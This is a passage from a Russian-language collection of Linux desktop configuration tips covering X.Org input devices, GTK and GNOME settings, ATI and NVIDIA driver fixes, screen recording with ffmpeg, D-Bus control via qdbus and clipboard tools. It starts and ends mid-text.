          Virtual core XTEST pointer         id=4 [slave  pointer  (2)]
          "Logitech USB-PS/2 Optical Mouse"  id=10 [slave  pointer  (2)]
          "Topro USB Mouse"                  id=12 [slave  pointer  (2)]
       Virtual core keyboard                 id=3 [master keyboard (2)]
       ...
    
    "Topro USB Mouse" будем использовать левой рукой, а мышь Logitech - правой.
    
    Создаем дополнительное первичное устройство ввода 
    
       $ xinput create-master Auxiliary
    
    Вновь смотрим список устройств:
     
       $ xinput list
       ...  
       Auxiliary pointer           id=13   [master pointer  (14)]
          Auxiliary XTEST pointer  id=15   [slave  pointer  (13)]
          Auxiliary keyboard       id=14   [master keyboard (13)]
          Auxiliary XTEST keyboard id=16   [slave  keyboard (14)]
    
    Переводим мышь Topro (id 12) в категорию Auxiliary:
    
       $ xinput reattach 12 "Auxiliary pointer"
    
    Смотрим, что получилось:
    
       $ xinput list
    
    Мышь Logitech осталась в блоке "Virtual core pointer", а Topro появилась в "Auxiliary pointer".
    
    Теперь два указателя мыши перемещаются по экрану отдельно.
    
    Но для удобства управления поменяем маппинг кнопок для мыши Topro (id 12),
    которую будем держать в левой руке:
    
       $ xinput set-button-map 12 3 2 1
    
    Чтобы видеть какой указатель соответствует каждой мыши поменяем оформление курсора:
    
       $ sudo aptitude install git-core
       $ git clone git://git.ao2.it/xicursorset.git
       $ cd xicursorset
       $ sudo aptitude install libxi-dev libxcursor-dev
       $ make
    
    Меняем курсор для левой мыши (Auxiliary pointer, id 13):
    
       $ ./xicursorset 13 right_ptr redglass
    
    и для правой (Virtual core pointer, id=2):
    
       $ ./xicursorset 2 left_ptr whiteglass
    
    Для тестирования установим приложение vinput, поддерживающие multi-pointer (MPX) режим работы:
    
       $ git clone git://gitorious.org/vinput/vinput.git
       $ cd vinput/demo
       $ gcc -o demo-paint demo-paint.c `pkg-config --cflags --libs xi`
       $ ./demo-paint
    
    В настоящее время MPX не поддерживается в Gtk+ и соответственно не получится
    рисовать одновременно двумя мышами в GIMP или Inkscape, но можно одной мышью
    выбирать инструменты или элементы меню, а другой рисовать. Ситуация изменится с
    выходом Gtk+3. Также перетаскивание одновременно двух окон еще не работает в
    оконном менеджере Metacity, но иконки перетаскивать одновременно в Nautilus с
    перемещением окна в Metacity уже можно. Qt поддерживает мултитач начиная с
    версии 4.6
    
     
    ----* Изменение размера пиктограмм в панели Gtk-приложений (доп. ссылка 1) (доп. ссылка 2)   Автор: bosha  [комментарии]
     
    Чтобы уменьшить размер пиктограмм в панели инструментов Gtk-приложений можно
    создать в своей домашней директории файл .gtkrc-2.0.mine, добавив в него:
    
       gtk-icon-sizes = "panel-menu=16,16:panel=16,16:gtk-button=16,16:gtk-large-toolbar=16,16"
    
    Если размер иконок уже определен в текущей теме, тогда может понадобиться
    переопределить переменную gtk-icon-sizes через создание модифицированной темы.
    
    1. Определяем местонахождение конфигурации текущей темы через меню
    Система/Параметры/Внешний Вид. В нашем случае используется тема Clearlooks,
    настройки которой размещены в директории "/usr/share/themes/Clearlooks"
    
    2. Создаем в домашнем каталоге директорию ".themes".
    
       mkdir ~/.themes
    
    3. Создаем директорию с настройками, имя можно выбрать любое, например, "mycontrol".
    
       mkdir ~/.themes/mycontrol
    
    4. Копируем содержимое текущей активной темы в ~/.themes/mycontrol
    
       cp -R /usr/share/themes/Clearlooks/* ~/.themes/mycontrol
    
    5. Находим и правим в скопированных файлах gtkrc
    
       gedit ~/.themes/mycontrol/gtk-2.0/gtkrc
    
    6. Находим и меняем (или создаем) в фaйле gtkrc переменную gtk-icon-sizes:
    
       gtk-icon-sizes = "panel-menu=16,16:panel=16,16:gtk-menu=16,16:gtk-large-toolbar=22,22:gtk-button=16,16"
    
    7. В параметрах темы в меню Система/Параметры/Внешний Вид (Gnome
    Menu/Desktop/Preferences/Theme) жмем "Настроить" (Theme Details) и выбираем в
    списке "mycontrol".
    
    8. Выходим из десктоп-окружения и заходим вновь для того, чтобы изменения подействовали.
    
     
    ----* Установка драйвера ATI Catalyst в openSUSE 11.2   Автор: Wizard  [комментарии]
     
    Вот и вышла долгожданная openSUSE 11.2 и сразу появились сложности с
    видеоадаптерами производства ATI/AMD... Репозиторий
    http://www2.ati.com/suse/11.2/ не содержит пакетов с нужными драйверами.
    
    Остаётся "запасной" вариант - ati-driver-installer-9-10-x86.x86_64.run, скачанный с сайта AMD.
    
    Однако и здесь есть некоторые сложности - данный инсталлер не может собрать
    RPM-пакет, а установка вручную (у меня) приводит к неработоспособности
    графической подсистемы.
    
    При изучении механизма сборки пакетов, выяснилось, что проблема вызвана
    манипуляциями с RPM_BUILD_ROOT. После правки скриптов/спеков и сборки пакета,
    так же выяснилось, что пакет для x86_64 не содержит библиотек для поддержки
    ускорения видео через VA-API, хотя в ati-driver-installer они присутствуют.
    
    В итоге был создан патч для "лечения" механизма сборки RPM-пакетов для openSUSE
    11.2, последовательность применения которого следующая:
    
       chmod a+x ati-driver-installer-9-10-x86.x86_64.run
       ati-driver-installer-9-10-x86.x86_64.run --extract <куда-нибудь>
       cd <куда-нибудь>
       patch -p1 < путь/к/патчу
       /packages/SuSE/ati-packager.sh --buildpkg SUSE112-AMD64
    
    или, соответсвенно, 
       /packages/SuSE/ati-packager.sh --buildpkg SUSE112-IA32
       rpm -i ../fglrx*.rpm
    
    Собственно, патч:
    
    
    
    diff -Nuar ati.orig/packages/SuSE/ati-packager.sh ati/packages/SuSE/ati-packager.sh
    --- ati.orig/packages/SuSE/ati-packager.sh      2009-10-06 00:23:48.000000000 +0400
    +++ ati/packages/SuSE/ati-packager.sh   2009-11-17 12:12:31.274354947 +0300
    @@ -91,7 +91,7 @@
     END_SED_SCRIPT                                                                                     
                                                                                                        
         #Build the package                                                                             
    -    rpmbuild -bb --root ${TmpDrvFilesDir} --target ${ARCH} ${TmpPkgSpec} >
    ${TmpPkgBuildOut} 2>&1
    +    rpmbuild -bb --target ${ARCH} ${TmpPkgSpec} > ${TmpPkgBuildOut} 2>&1
                                                                                                        
         #Retrieve the absolute path to the built package                                               
         if [ $? -eq 0 ]; then                                                                          
    diff -Nuar ati.orig/packages/SuSE/x740_64a.SUSE112-AMD64.spec ati/packages/SuSE/x740_64a.SUSE112-AMD64.spec
    --- ati.orig/packages/SuSE/x740_64a.SUSE112-AMD64.spec  2009-10-06
    00:23:48.000000000 +0400
    +++ ati/packages/SuSE/x740_64a.SUSE112-AMD64.spec       2009-11-17
    12:12:31.274354947 +0300
    @@ -36,10 +36,9 @@
     %ATI_DRIVER_DESCRIPTION                                                                            
                                                                                                        
     %install                                                                                           
    -export RPM_BUILD_ROOT=%ATI_DRIVER_BUILD_ROOT
     tmpdir=$(mktemp -d /tmp/fglrx.XXXXXX)                                                              
     mkdir $tmpdir/fglrx                                                                                
    -mv $RPM_BUILD_ROOT/* $tmpdir/fglrx
    +mv %ATI_DRIVER_BUILD_ROOT/* $tmpdir/fglrx
     export RPM_SOURCE_DIR=$(mktemp -d /tmp/fglrx.XXXXXX)                                               
     mv $tmpdir/fglrx/suse/* $RPM_SOURCE_DIR                                                            
     #                                                                                                  
    @@ -190,9 +189,7 @@
       install -m 644 amdcccle.desktop        $RPM_BUILD_ROOT/usr/share/applications                    
       install -m 644 amdccclesu.desktop      $RPM_BUILD_ROOT/usr/share/applications                    
       install -m 755 libatiadlxx.so          $RPM_BUILD_ROOT/usr/%{_lib}                               
    -%ifarch %ix86
       install -m 755 libAMDXvBA.cap libAMDXvBA.so.1.0 libXvBAW.so.1.0 $RPM_BUILD_ROOT/usr/%{_lib}      
    -%endif
       install -m 755 libaticaldd.so libaticalrt.so libaticalcl.so $RPM_BUILD_ROOT/usr/%{_lib}          
       install -m 755 libdri.so              $RPM_BUILD_ROOT%{MODULES_DIR}/updates/extensions
       test -f libglx.so && \
    @@ -392,11 +389,9 @@
     /usr/X11R6/lib/libGL.so.1.2
     %endif
     /usr/%{_lib}/libatiadlxx.so
    -%ifarch %ix86
     /usr/%{_lib}/libAMDXvBA.cap
     /usr/%{_lib}/libAMDXvBA.so.1.0
     /usr/%{_lib}/libXvBAW.so.1.0
    -%endif
     /usr/%{_lib}/libaticaldd.so
     /usr/%{_lib}/libaticalrt.so
     /usr/%{_lib}/libaticalcl.so
    diff -Nuar ati.orig/packages/SuSE/x740.SUSE112-IA32.spec ati/packages/SuSE/x740.SUSE112-IA32.spec
    --- ati.orig/packages/SuSE/x740.SUSE112-IA32.spec       2009-10-06 00:23:48.000000000 +0400
    +++ ati/packages/SuSE/x740.SUSE112-IA32.spec    2009-11-17 12:13:54.819085923 +0300
    @@ -36,10 +36,9 @@
     %ATI_DRIVER_DESCRIPTION
    
     %install
    -export RPM_BUILD_ROOT=%ATI_DRIVER_BUILD_ROOT
     tmpdir=$(mktemp -d /tmp/fglrx.XXXXXX)
     mkdir $tmpdir/fglrx
    -mv $RPM_BUILD_ROOT/* $tmpdir/fglrx
    +mv %ATI_DRIVER_BUILD_ROOT/* $tmpdir/fglrx
     export RPM_SOURCE_DIR=$(mktemp -d /tmp/fglrx.XXXXXX)
     mv $tmpdir/fglrx/suse/* $RPM_SOURCE_DIR
     #
    
    
    
     
    ----* Решение проблем s2ram и s2disk на Thinkpad T61p с видеокартой nVidia FX570 (доп. ссылка 1)   [комментарии]
     
    Решение проблем с работой suspend и hibernate режимов из-за видеокарты nVidia в
    SLED или openSUSE. После попытки проснуться, ноубтук перестает реагировать и
    отображает только черный экран. Судя по всему проблема вызвана конфликтом из-за
    наличия в системе двух видеоадаптеров - встроенного и дополнительного.
    
    Решить проблему удалось изменив способ работы с AGP.
    
    Шаг 1. Проверьте, какой AGP драйвер загружается:
    
       lsmod | grep agp
    
    Я получил intel_agp, но у вас может быть sis_agp или via_agp, в зависимости от материнской платы. 
    
    Шаг 2. Запрещение загрузки модуля ядра intel_agp (или  agppart, sis_agp,
    via_agp). В /etc/modprobe.local добавляем:
    
       blacklist intel_agp
    
    Шаг 3. Определяем, какие возможности поддерживаются драйвером:
    
       cat /proc/driver/nvidia/registry
    
    Найдите NvAGP: 3. Число - это поддерживаемое AGP состояние.
    
    Шаг 4. Изменяем настройки X.Org, в /etc/X11/xorg.conf меняем содержимое секции [Device].
    
    Было:
    
       Section "Device"
         BoardName    "Quadro FX 570M"
         Driver       "nvidia"
         Identifier   "Device[0]"
         VendorName   "NVidia"
       EndSection
    
    Стало (добавлено Option "NvAGP" "3"):
    
       Section "Device"
         BoardName    "Quadro FX 570M"
         Driver       "nvidia"
         Identifier   "Device[0]"
         VendorName   "NVidia"
         Option        "NvAGP" "3"
       EndSection
    
     
    ----* Замена дисплейного менеджера на Qingy в Gentoo Linux (доп. ссылка 1)   Автор: TheMixa  [комментарии]
     
    В случае когда X Display Manager (XDM, KDM, GDM) используется только для выбора
    сессии и аутентификации,
    вместо него можно установить Qingy (http://qingy.sourceforge.net/), замену
    getty, использующую Framebuffer
    и DirectFB для вывода графики и поддерживающую как X-сессии так и текстовую
    консоль. Кроме того, Qingy позволяет
    запустить более одной X-сессии, использовать хранитель экрана и организовать
    автоматический вход в систему.
    
    Установка Qingy в Gentoo Linux:
    
    1. устанавливаем dev-libs/DirectFB (-X +fbdev) и sys-apps/qingy (+directfb)
    
    2. берем fbset и его вывод записываем в /etc/fb.modes, также в /etc/directfbrc указываем этот режим
    
    3. меняет в inittab на нужных нам консолях agetty на qingy
    
    4. в файле конфигурации qingy указываем нужную тему (мне понравились matrix и vendetta3)
    
    5. отключаем XDM и перезагружаемся для верности
    
    За счет избавления от лишнего звена скорость загрузки изменилась в лучшую сторону. 
    
     
    ----* Захват видео непосредственно с X-сервера (доп. ссылка 1)   Автор: xAnd  [комментарии]
     
    Задача: снять видео с рабочего стола Ubuntu.
    
    Устанавливаем ffmpeg и кодеки:
    
       sudo apt-get install ffmpeg
       sudo apt-get install libavcodec-unstripped-52 libavdevice-unstripped-52 libavformat-unstripped-52 \
       libavutil-unstripped-49 libpostproc-unstripped-51 libswscale-unstripped-0 ffmpeg faac
    
    Команда, которая пишет видео с рабочего стола:
    
       ffmpeg -f x11grab -s 1280x800 -r 25 -i :0.0 -vcodec qtrle screenvideo.mov
    
    Разберёмся с параметрами командной строки:
    
    -f x11grab - источник сигнала (в нашем случае X-сервер);
    
    -i :0.0 - экран X-сервера или просто номер монитора;
    
    -s 1280x800 - захватываемое разрешение экрана (тут очень рекомендую сохранять пропорции экрана, 
    а ещё лучше жать в натуральное разрешение экрана, ибо потеря качества очень серьезная);
    
    -r 25 - количество кадров в секунду;
    
    -vcodec qtrle - кодек для захвата (параметр необязательный, по идее ffmpeg определяет тип кодека 
    автоматически по расширению выходного файла);
    
    screencast.mov - собственно выходной файл. Можно указывать полный путь.
    
    
    После выполнения указанной команды сразу же начнётся процесс записи.
    Чтобы остановить запись необходимо нажать "q" в терминале, в котором идёт процесс захвата.
    
    Для удобства публикации, полученный файл можно конвертировать в формат .flv тем
    же ffmpeg'ом, например так:
    
       ffmpeg -i screencast.mov screencast.flv
    
     
    ----* Приемы использования GConf для тонкой настройки GNOME (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для изменения параметров GNOME будем использовать утилиту gconftool-2, вызываемую в формате:
       gconftool-2 --set путь_к_настройке --type "значение"
    
    Управление равертыванием окна за пределы экранной области (например, полезно
    для устройств с низким экранным разрешением):
    
       gconftool-2 --set /apps/compiz/plugins/move/allscreens/options/constrain_y --type bool 0
    
    Изменение громкости из командной строки (по умолчанию установлено 6):
    
       gconftool-2 --set --type int /apps/gnome_settings_daemon/volume_step 2
    
    Открывать в Nautilus директорию с содержимым после распаковки архива в File-roller:
    
       gconftool-2 --type boolean --set /apps/file-roller/dialogs/extract/view_destination_folder true
    
    Отображать на десктопе пиктограммы примонтированных дисковых разделов:
    
       gconftool-2 --type boolean --set /apps/nautilus/desktop/volumes_visible true
    
    Включить проверку наличия обновленной версии дистрибутива:
    
       gconftool-2 --type boolean --set /apps/update-manager/check_dist_upgrades true
    
    Включение возможности отсоединения тулбаров для GTK+ приложений:
    
       gconftool-2 --type boolean --set /desktop/gnome/interface/toolbar_detachable true
    
    Изменение программы для автоматического просмотра DVD с Totem на VLC или gxine:
    
       gconftool-2 --type string --set /desktop/gnome/volume_manager/autoplay_dvd_command "gxine dvd:/%m"
    
       gconftool-2 --type string --set /desktop/gnome/volume_manager/autoplay_dvd_command "vlc %m"
    
    Изменение гарнитуры и размера шрифтов для элементов десктопа:
    
       gconftool-2 --set /apps/nautilus/preferences/desktop_font --type string "Sans 8"
    
       gconftool-2 --set /desktop/gnome/interface/document_font_name --type string "Sans 8"
    
       gconftool-2 --set /desktop/gnome/interface/font_name --type string "Sans 8"
    
       gconftool-2 --set /apps/metacity/general/titlebar_font --type string "Sans Bold 8"
    
       gconftool-2 --set /desktop/gnome/interface/monospace_font_name --type string "Monospace 8"
    
    Изменение DPI для рендеринга шрифтов в GNOME, если 0 то значение берется от X сервера:
    
      gconftool-2 --type integer -s /desktop/gnome/font_rendering/dpi 96
    
    Выключение отображения пиктограмм на десктопе:
    
       gconftool-2 --set --type boolean /apps/nautilus/preferences/show_desktop false
    
    Удаление ссылок о спящем и ждущем режиме из диалога завершения работы:
    
       gconftool-2 --type boolean --set /apps/gnome-power-manager/can_suspend false
       gconftool-2 --type boolean --set /apps/gnome-power-manager/can_hibernate false
    
    Для применения настройки для всех пользователей, а не только для текущего пользователя:
    
       gconftool-2 --direct--config-source xml:readwrite:/etc/gconf/gconf.xml.defaults --type boolean \
         --set /apps/gnome-power-manager/can_hibernate false
       gconftool-2 --direct --config-source xml:readwrite:/etc/gconf/gconf.xml.defaults --type boolean \
         --set /apps/gnome-power-manager/can_suspend false
    
    Назначение горячих клавиш Ctrl+C и Ctrl+V для копирования и вставки текста в gnome-terminal:
    
       gconftool-2 -t str -s /apps/gnome-terminal/keybindings/copy "<Control>c"
       gconftool-2 -t str -s /apps/gnome-terminal/keybindings/paste "<Control>v"
    
    Установка пути к фоновому изображению:
       
       gconftool-2 --type string -s /desktop/gnome/background/picture_filename "/home/user/image.jpg"
    
    Отображать или нет фоновое изображение:
    
       gconftool-2 --type bool -s /desktop/gnome/background/draw_background false
    
    Управление отображением строки текущего пути в nautilus:
    
       gconftool-2 --type boolean --set /apps/nautilus/preferences/always_use_location_entry true
    
    Отображать на десктопе содержимое домашней директории, а не "$HOME/Desktop":
    
       gconftool-2 --type boolean --set /apps/nautilus/preferences/desktop_is_home_dir true
    
    Управление размещением различных служебных пиктограмм (computer|home|trash)на десктопе:
    
       gconftool-2 --type boolean --set /apps/nautilus/desktop/[computer|home|trash]_icon_visible true
    
    Отображать окно выхода при завершении работы:
    
       gconftool-2 --type boolean --set /apps/gnome-session/options/logout_prompt false
    
    Выбор оконного менеджера для запуска:
    
       gconftool-2 --type string --set /apps/gnome-session/rh/window_manager "/usr/bin/icewm"
    
    Установка параметров монтирования USB Flash с файловой системой VFAT:
    
      gconftool-2 --type list --set /system/storage/default_options/vfat/mount_options --list-type string '[shortname=winnt,uid=]'
    
    Включение удаленного доступа к десктопу через VNC:
    
      gconftool-2 --set /desktop/gnome/remote_access/authentication_methods --type list --list-type string '[vnc]'
      gconftool-2 --set /desktop/gnome/remote_access/vnc_passwd \
        --type string `echo -n 'my_vnc_password' | base64`
      gconftool-2 --set /desktop/gnome/remote_access/enabled --type bool true
    
    Просмотр содержимого базовых настроек GNOME:
    
       gconftool-2 -R /desktop/gnome
    
     
    ----* Решение проблем с перерисовкой окон в Compiz с новыми драйверами NVIDIA  (доп. ссылка 1) (доп. ссылка 2)   Автор: Waster  [комментарии]
     
    После очередного обновления драйверов NVIDIA обнаружил очень неприятную
    проблему с перерисовкой символов внутри gnome-terminal,
    например, если запустить mc. Эта проблема наблюдается, если запущен Compiz. 
    Некоторые также обнаруживают проблемы с перерисовкой не только окна терминала,
    но и вообще окон Gnome.
    Выяснилось, что в моем случае необходимо включить Indirect Rendering в Compiz,
    чтобы эта проблема исчезла.
    К сожалению, это немного сказывается на производительности, так что решите для
    себя сами, нужен ли Compiz, или нет.
    Также некоторым помогает добавление опции --loose-binding при старте Compiz.
    
    Для включения Indirect Rendering в Ubuntu нужно добавить в файл
    /etc/xdg/compiz/compiz-manager строчку
    
       INDIRECT="yes"
    
    Если вокруг окон отображаются лишние бордюры, можно попробовать выполнить:
    
       sudo nvidia-xconfig --add-argb-glx-visuals -d 24
    
    или указать в /etc/X11/xorg.conf
    
        DefaultDepth 24
        Option "AddARGBGLXVisuals" "true"
    
    При появлении проблем с обновлением окон (содержимое "замерзает") при
    использовании драйверов ati или intel,
     в /etc/X11/xorg.conf можно добавить:
    
       Option "XAANoOffscreenPixmaps" "true"
    
    
    Подборка рекомендаций о решении проблем с Nvidia драйверами от посетителя pavlinux:
    
    Настройки, которые можно попробовать в случае проблем:
    
       Option         "DamageEvents" "True"            # Не работает при SLI
       Option         "DisableGLXRootClipping" "True"  # для серии 100.xx.xx, но старее 100.14.19
       Option         "AllowGLXWithComposite" "True"   # для версии старее 9639
       Option         "UseEvents" "False"              # улучшение работы OpenGL рендеринга
       Option         "TripleBuffer" "True"            # улучшение качества, испольщовать с включенным Sync2VBlank в OpenGL
       Option         "BackingStore" "True"            
       Option         "RenderAccel" "True"
       Option         "AddARGBGLXVisuals" "True"
       Option         "MultisampleCompatibility" "True"  # использование раздельных фронтального и фонового multisample буферов
    
    # Оптимизиция процесса запуска
    
       Option         "NoLogo" "true"
       Option         "NvAGP" "1"  
       Option         "NoPowerConnectorCheck" "off"
       Option         "NoBandWidthTest" "on"
    
    Если на компьютере есть MSI, то грузить модуль с 
       modprobe nvidia NVreg_EnableMSI=1
    
    Подобрать правильный NVreg_RemapLimit:
    
    для 256Mb DDR3 NVreg_RemapLimit=0x0f800000
    для 512MB DDR3 NVreg_RemapLimit=0x1F000000
    для 768MB DDR3 NVreg_RemapLimit=0x2E800000
    для 1Gb   DDR3 NVreg_RemapLimit=0x3E000000
    
    
    До версии 177.67, добавить в xorg.conf
    
       Option "PixmapCacheSize" "1000000"
       Option "AllowSHMPixmaps" "0"
    
    в /etc/X11/xinit дописать
    
       nvidia-settings -a InitialPixmapPlacement=2 -a GlyphCache=1
    
    Испробовать варианты с
    
       # export __GL_YIELD="NOTHING"
       # export QT_NO_GLIB=1
    
    
    В ядре выключить CONFIG_PCI_MMCONFIG, и все framebuffer драйверы, кроме CONFIG_FB_VESA=y
    
    Распаковать драйвер -
       # NVIDIA-Linux-x86_64-180.44-pkg2.run --extract-only
    
    залезть редактором в NVIDIA-Linux-x86_64-180.44/usr/src/nv/Makefile.kbuild
    найти EXTRA_CFLAGS
    дописать -UDEBUG -U_DEBUG -DNDEBUG -UNVDEBUG -URMDEBUG -UDEBUGGING -UDBG
    
     
    ----* Включение круговой прокрутки на тачпадах Synaptics (доп. ссылка 1)   Автор: Alinaki  [комментарии]
     
    В заметке показано как включить в драйвере  Synaptics поддержку "круговой
    прокрутки", при включении которой,
    возможно совершение непрерывного скроллинга через описывание пальцем
    непрерывных круговых движений,
    начиная с заданного угла тачпада. При этом круги по часовой стрелке приводят к
    прокрутке вниз, против - к прокрутке вверх.
    Также показано как эмулировать нажатие правой кнопки мыши через прикосновение
    двумя пальцами, а левой кнопки - тремя.
    
    В xorg.conf изменяем секцию InputDevice, привязанную к тачпаду Synaptics:
    
       Section "InputDevice"
          Identifier "Synaptics Touchpad"
          Driver "synaptics"
          Option "SendCoreEvents" "true"
          Option "Device" "/dev/psaux"
          Option "Protocol" "auto-dev"
          Option "CircularScrolling" "on" # Включить круговую прокрутку
          Option "CircScrollTrigger" "2" # Привязка начала кругов на правый верхний угол
          Option "HorizEdgeScroll" "on" # Горизонталная прокрутка по нижнему краю
          Option "SHMConfig" "on" # Системная настройка, необходима для следующих строк
          Option "TapButton2" "3" # Два пальца - на правую кнопку
          Option "TapButton3" "2" # Три пальца - на среднюю (колесо)
       EndSection
    
    Привязки распределены следующим образом:
    0 Любой, 1 Верхняя кромка, 2 Правый верхний угол, 3 Правая кромка, 4 Правый
    нижний угол, 5 Нижняя кромка
    6 Левый нижний угол, 7 Левая кромка, 8 Левый верхний угол
    
    Если тачпадом поддерживается распознавание ладони, то можно включить опцию PalmDetect и 
    навсегда забыть о случайных нажатиях на панель во время печати. Подробнее в "man synaptics".
    
     
    ----* CentOS 5.2 и некорректная прорисовка экрана в vnc-server   Автор: User  [комментарии]
     
    При использовании в xorg.conf vnc модуля из стандартного пакета vnc-server-4.1.2-9.el5.i386.rpm 
    обнаружена проблема: неправильная прорисовка экрана.
    
    Метод лечения:
    
    1. Удаляем vnc-server-4.1.2-9
    
    2. Забираем vnc-4_1_3-x86_linux.rpm с сайта http://realvnc.com
    
    3. Ставим vnc-4_1_3-x86_linux.rpm
    
    4. Делаем ссылку
    
       ln -s /usr/X11R6/lib/modules/extensions/vnc.so /usr/lib/xorg/modules/extensions/vnc.so
    
    5. Выполняем ldconfig
    
    6. All ok!
    
     
    ----* Настройка клавиатуры в X.Org 7.4 / X-Server 1.5 (доп. ссылка 1) (доп. ссылка 2)   Автор: kaktyc  [комментарии]
     
    В xorg-server-1.5.x, если не отключить при компиляции X-сервера, конфигурация устройств ввода 
    осуществляется не в xorg.conf, а через HAL. Это позволяет подключать различные
    клавиатуры и мышки "на лету"
    и они будут работать без необходимости рестарта иксов. Но при этом, например
    для настройки раскладки,
    возникает необходимость правки xml-конфигов HAL вместо простого и удобного файла xorg.conf. 
    
    Например, чтобы реализовать настройку в xorg.conf:
    
       Option "XkbLayout" "us,ru(winkeys)"
       Option "XkbOptions" "grp:shift_caps_toggle,grp_led:scroll,caps:internal,compose:ralt"
    
    Необходимо создать файл /etc/hal/fdi/policy/10-keymap.fdi следующего содержания:
       <?xml version="1.0" encoding="ISO-8859-1"?> 
        <deviceinfo version="0.2">
          <device>
            <match key="info.capabilities" contains="input.keymap">
              <append key="info.callouts.add" type="strlist">hal-setup-keymap</append>
            </match>
    
            <match key="info.capabilities" contains="input.keyboard">
              <merge key="input.xkb.rules" type="string">base</merge>
              <merge key="input.xkb.layout" type="string">us,ru</merge>
              <merge key="input.xkb.options" type="string">grp:shift_caps_toggle,grp_led:scroll,caps:internal,compose:ralt</merge>
              <merge key="input.xkb.variant" type="string">,winkeys</merge> 
    
            </match>
          </device>
        </deviceinfo>
    
    Отключается такое поведение добавлением в xorg секции:
    
       Section "ServerFlags"
         Option "AutoAddDevices" "False"
       EndSection
    
    Другой вариант, задействовать setxkbmap, поместив в ~/.xsessionrc строчку:
    
       setxkbmap "us,ru" ",winkeys" "grp:caps_toggle"
    
     
    ----* Управление десктоп приложениями из shell при помощи D-Bus (доп. ссылка 1)   [комментарии]
     
    В качестве консольной утилиты для работы с D-Bus можно использовать "qdbus" из состава Qt4.
    
    При выполнении без аргументов, утилита qdbus выведет список активных  шин:
    
       qdbus
    
       org.freedesktop.ScreenSaver
       org.freedesktop.Notifications
       org.freedesktop.PowerManagement
       org.freedesktop.DBus
    
    Отобразим список объектов для шины ScreenSaver:
    
       qdbus org.freedesktop.ScreenSaver
    
       /
       /App
       /Interface
       /KBookmarkManager
       /KBookmarkManager/konqueror
       /KDebug
       /MainApplication
       /ManagerIface_contact
       /ScreenSaver
    
    Просмотрим методы объекта "/ScreenSaver":
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver
    
       signal void org.freedesktop.ScreenSaver.ActiveChanged(bool)
       method bool org.freedesktop.ScreenSaver.GetActive()
       method uint org.freedesktop.ScreenSaver.GetActiveTime()
       method bool org.freedesktop.ScreenSaver.SetActive(bool e)
       method void org.freedesktop.ScreenSaver.Lock()
       method uint org.freedesktop.ScreenSaver.Inhibit(QString application_name, QString reason_for_inhibit)
       ...
    
    Посмотрим значение текущего счетчика времени неактивности, после которого 
    активируется хранитель экрана. Просмотрим текущее значение:
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.GetSessionIdleTime
    
       0
    
    С момента последнего нажатия клавиши прошло 0 сек. Попробуем ничего не нажимать:
    
       sleep 5 ; qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.GetSessionIdleTime
    
       4
    
    Попробуем активировать хранитель экрана через метод org.freedesktop.ScreenSaver.SetActive:
     
       qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.SetActive True
    
       true  
    
    Блокируем экран:
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.Lock
    
    В случае когда нужно предотвратить запуск хранителя экрана, например, во время
    просмотра видео, можно использовать:
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver \
          org.freedesktop.ScreenSaver.Inhibit "$$" "Testing D-Bus Interface"
    
       5822
    
    где, "$$" - имя приложения запретившего активацию хранителя экрана, 
    в нашем случае это PID текущего shell (5822).
    второй аргумент - причина сдерживания хранителя экрана.
    
    После того как хранитель экрана можно опять активировать, выполняем:
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver \
         org.freedesktop.ScreenSaver.UnInhibit 5822
    
    
    Другие примеры.
    Просмотрим список заметок из Tomboy.
    
       qdbus org.gnome.Tomboy /org/gnome/Tomboy/RemoteControl org.gnome.Tomboy.RemoteControl.ListAllNotes
    
       note://tomboy/5e900d91-bd77-4f41-89d8-e71baaafd364
       note://tomboy/f647c681-b1b9-4eca-bdab-fd4b04cb37f6
    
    Отобразим содержимое одной из них:
    
       qdbus org.gnome.Tomboy /org/gnome/Tomboy/RemoteControl \
         org.gnome.Tomboy.RemoteControl.GetNoteContents note://tomboy/5e900d91-bd77-4f41-89d8-e71baaafd364
    
     
    ----* Изменение клавиш быстрого вызова пунктов меню в gtk приложениях (доп. ссылка 1)   Автор: GiNeR  [обсудить]
     
    Для изменения клавиш быстрого вызова в GTK2 приложениях на лету:
    
    Для Gnome:
    Проверяем не включено ли:
       gconftool -g /desktop/gnome/interface/can_change_accels
    
    Если false:
       gconftool -t boolean -s /desktop/gnome/interface/can_change_accels true
    
    Для других оконных менеджеров и приложений (не использующих gconf2):
       echo gtk-can-change-accels = 1 >> ~/.gtkrc-2.0
    
    Если не работает, например в SUSE, нужно создать пустой файл
    ~/.no-qtrc-to-gtkrc-mapping и перезайти в X-ы.
    
    
    После того как горячее назначение клавиш включено, достаточно подвести курсор мыши 
    к нужному пункту меню приложения и нажать удобное сочетание клавиш, оно запоминается.
    
     
    ----* Обмен данными между буфером обмена X-ов и консолью (доп. ссылка 1)   [комментарии]
     
    Для копирования данных в буфер обмена X Window из консоли следует использовать
    утилиты xclip и xsel.
    
    Устанавливаем в Debian/Ubuntu:
       sudo apt-get install xclip
    
    в Fedora/RHEL/CentOS:
       yum install xclip
    
    Копируем вывод команды в буфер обмена:
       sort file.txt | xclip
    
    Выводим содержимое буфера обмена в стандартный поток, который записываем в файл:
       xclip -o > file.txt
    
    Например, так можно отсортировать данные в буфере обмена:
       xclip -o | sort | xclip
    
    посчитать число строк:
       xclip -o | wc | xclip
    
    или перекодировать текст:
       xclip -o | iconv -f cp1251 -t utf-8 | xclip
    
    Компана xsel, выполняет аналогичные действия:
       pwd | xsel
       xsel -o |less
    
     
    ----* Улучшение отображения шрифтов в X Window   [комментарии]
     
    Первым делом нужно проверить собрана ли библиотека freetype2 с опцией
    TT_CONFIG_OPTION_BYTECODE_INTERPRETER, 
    как правило отключаемой в дистрибтуивах из-за лицензионных ограничений
    Для владельцев ноутбуков внимание также можно обратить на сборку с опцией WITH_LCD_FILTERING,
    но это может потребовать обновления и пересборки cairo и libXft.
    
    В основанный на RPM дистрибутивах Linux, загружаем src.rpm пакет и пересобираем.
    
    Разворачиваем исходные тексты:
       rpm -i ~/rpmbuild/SRPMS/freetype-2.3.5-3.fc8.src.rpm
    
    Пересобираем
